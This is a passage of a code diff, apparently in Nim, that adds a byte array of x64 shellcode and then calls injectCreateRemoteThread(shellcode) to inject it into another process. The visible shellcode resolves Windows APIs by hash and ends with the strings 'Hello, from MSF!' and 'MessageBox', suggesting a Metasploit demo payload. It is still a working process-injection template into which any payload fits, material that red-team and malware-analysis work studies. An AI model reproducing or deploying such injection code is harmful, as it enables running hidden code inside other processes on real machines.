+        0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e,
+        0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,
+        0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,
+        0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
+        0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x3e,
+        0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,
+        0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
+        0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7,0xc1,
+        0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0xfe,0x00,0x00,0x00,0x3e,0x4c,0x8d,
+        0x85,0x0f,0x01,0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,
+        0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x48,0x65,0x6c,
+        0x6c,0x6f,0x2c,0x20,0x66,0x72,0x6f,0x6d,0x20,0x4d,0x53,0x46,0x21,0x00,0x4d,
+        0x65,0x73,0x73,0x61,0x67,0x65,0x42,0x6f,0x78,0x00]
+
+    # equivalent of 'if __name__ == '__main__' in python
+    # when isMainModule:
+    #    injectCreateRemoteThread(shellcode)
+injectCreateRemoteThread(shellcode)